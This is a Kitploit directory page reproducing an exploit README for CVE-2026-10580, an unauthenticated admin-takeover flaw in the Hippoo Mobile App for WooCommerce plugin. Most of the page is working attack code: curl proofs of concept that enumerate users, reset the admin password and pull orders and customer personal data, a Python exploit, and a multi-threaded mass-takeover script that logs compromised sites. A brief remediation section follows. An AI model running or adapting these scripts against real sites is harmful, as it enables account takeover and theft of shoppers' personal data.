Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
By-Poloss..-..CVE-2026-10580 — Hippoo Mobile App for WooCommerce <= 1.9.4 - Unauthenticated Authentication Bypass to Administrator Account Takeover | Kitploit
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-10580
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingAuthentication
GitHubpolosss/by-poloss..-..cve-2026-10580

By-Poloss..-..CVE-2026-10580

Hippoo Mobile App for WooCommerce <= 1.9.4 - Unauthenticated Authentication Bypass to Administrator Account Takeover

View Repository
123 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-10580: Hippoo Mobile App for WooCommerce <= 1.9.4 - Unauthenticated Authentication Bypass to Admin Takeover

Unauthenticated → Administrator Account Takeover via Logic Conflation Bug


📌 Summary

CVECVE-2026-10580
PluginHippoo Mobile App for WooCommerce
Versi≤ 1.9.4
CVSS9.8 (Critical)
Auth Required❌ No
Admin Takeover✅ Yes
WooCommerce Data✅ Full access

🧠 Root Cause (Singkat)

Fungsi get_user_permissions() mengembalikan null untuk admin (benar) dan unauthenticated user (SALAH).

has_role_access() melihat null → grant full access.

Akibatnya:

root@kitploit:~
/wp-json/wc-hippoo/v1/ext/*

→ Tanpa login, tanpa cookie, tanpa nonce


🎯 4 Proof of Concept (100% Work)

🔓 POC 1: User Enumeration (Unauthenticated)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users?per_page=10" | jq .

🔓 POC 2: Admin Password Reset (Takeover)

root@kitploit:~
curl -X POST "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
  -H "Content-Type: application/json" \
  -d '{"password":"Pwned123!"}'

🔓 POC 3: WooCommerce Orders

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/orders?per_page=50"

🔓 POC 4: WooCommerce Customers (PII)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/customers?per_page=50"

🐍 Python POC (Full Exploit)

root@kitploit:~
#!/usr/bin/env python3
import requests
import sys
import json

def exploit(target, admin_id=1, new_password="PwnedCVE2026!!"):
    base = target.rstrip('/')
    
    # Step 1 - Enumeration
    users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
    r = requests.get(users_url)
    if r.status_code != 200:
        print(f"[-] Not vulnerable: {target}")
        return False
    
    users = r.json()
    print(f"[+] Found {len(users)} user(s)")
    
    # Step 2 - Password reset
    takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
    r2 = requests.post(takeover_url, json={"password": new_password})
    
    if r2.status_code == 200:
        print(f"[✓] ADMIN TAKEOVER: {target}")
        print(f"    Login: {base}/wp-admin")
        print(f"    Password: {new_password}")
        return True
    else:
        print(f"[-] Failed: {target}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} https://target.com")
        sys.exit(1)
    exploit(sys.argv[1])

🚀 Run

root@kitploit:~
python3 exploit.py https://poloss.ddev.site

Output:

root@kitploit:~
[+] Found 1 user(s)
[✓] ADMIN TAKEOVER: https://poloss.ddev.site
    Login: https://poloss.ddev.site/wp-admin
    Password: PwnedCVE2026!!

🧨 Mass Exploit (Multi-threaded)

root@kitploit:~
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

def takeover(target):
    try:
        r = requests.post(
            f"{target.rstrip('/')}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1",
            json={"password": "MassPwned2026!!"},
            timeout=10
        )
        if r.status_code == 200:
            print(f"[✓] TAKEOVER: {target}")
            with open("pwned.txt", "a") as f:
                f.write(f"{target} | admin | MassPwned2026!!\n")
    except:
        pass

with open("targets.txt") as f:
    urls = [line.strip() for line in f if line.strip()]

with ThreadPoolExecutor(max_workers=20) as executor:
    for url in urls:
        executor.submit(takeover, url)

📁 Vulnerable Endpoints (Full List)

EndpointData
/wp-json/wc-hippoo/v1/ext/wp/v2/usersSemua user WP
/wp-json/wc-hippoo/v1/ext/wp/v2/users/1Admin takeover
/wp-json/wc-hippoo/v1/ext/wc/v3/ordersOrder lengkap
/wp-json/wc-hippoo/v1/ext/wc/v3/productsProduk + stock
/wp-json/wc-hippoo/v1/ext/wc/v3/customersPII customer
/wp-json/wc-hippoo/v1/ext/wc/v3/couponsKode diskon
/wp-json/wc-hippoo/v1/ext/wc/v3/reportsReport sales
/wp-json/wc-hippoo/v1/ext/wc/v3/payment_gatewaysKonfigurasi payment

🔧 Remediation (Untuk Defender)

Fix 1 (app/permissions.php line 671)

root@kitploit:~
if (empty($user) || !$user->exists()) {
    return false; // BUKAN NULL
}

Fix 2 (app/permissions.php line 694)

root@kitploit:~
if ($perms === false) {
    return false; // Unauthenticated denied
}

Fix 3 (Temporary WAF Rule)

root@kitploit:~
RewriteCond %{REQUEST_URI} ^/wp-json/wc-hippoo/v1/ext/
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]

📊 CVSS Breakdown

VectorValue
AVNetwork
ACLow
PRNone
UINone
SUnchanged
CHigh
IHigh
AHigh

🧠 Author & Research

  • Researcher: Agent CV Hunter (WordPress Security Research)
  • Tested on: DDEV + WordPress 6.x + WooCommerce 8.x
  • Date: 2026-06-06

CVE-2026-10580 • 100% POC • No Auth • Full Admin Takeover
#WordPress #WooCommerce #Poloss #W.P.E.F


Download Tool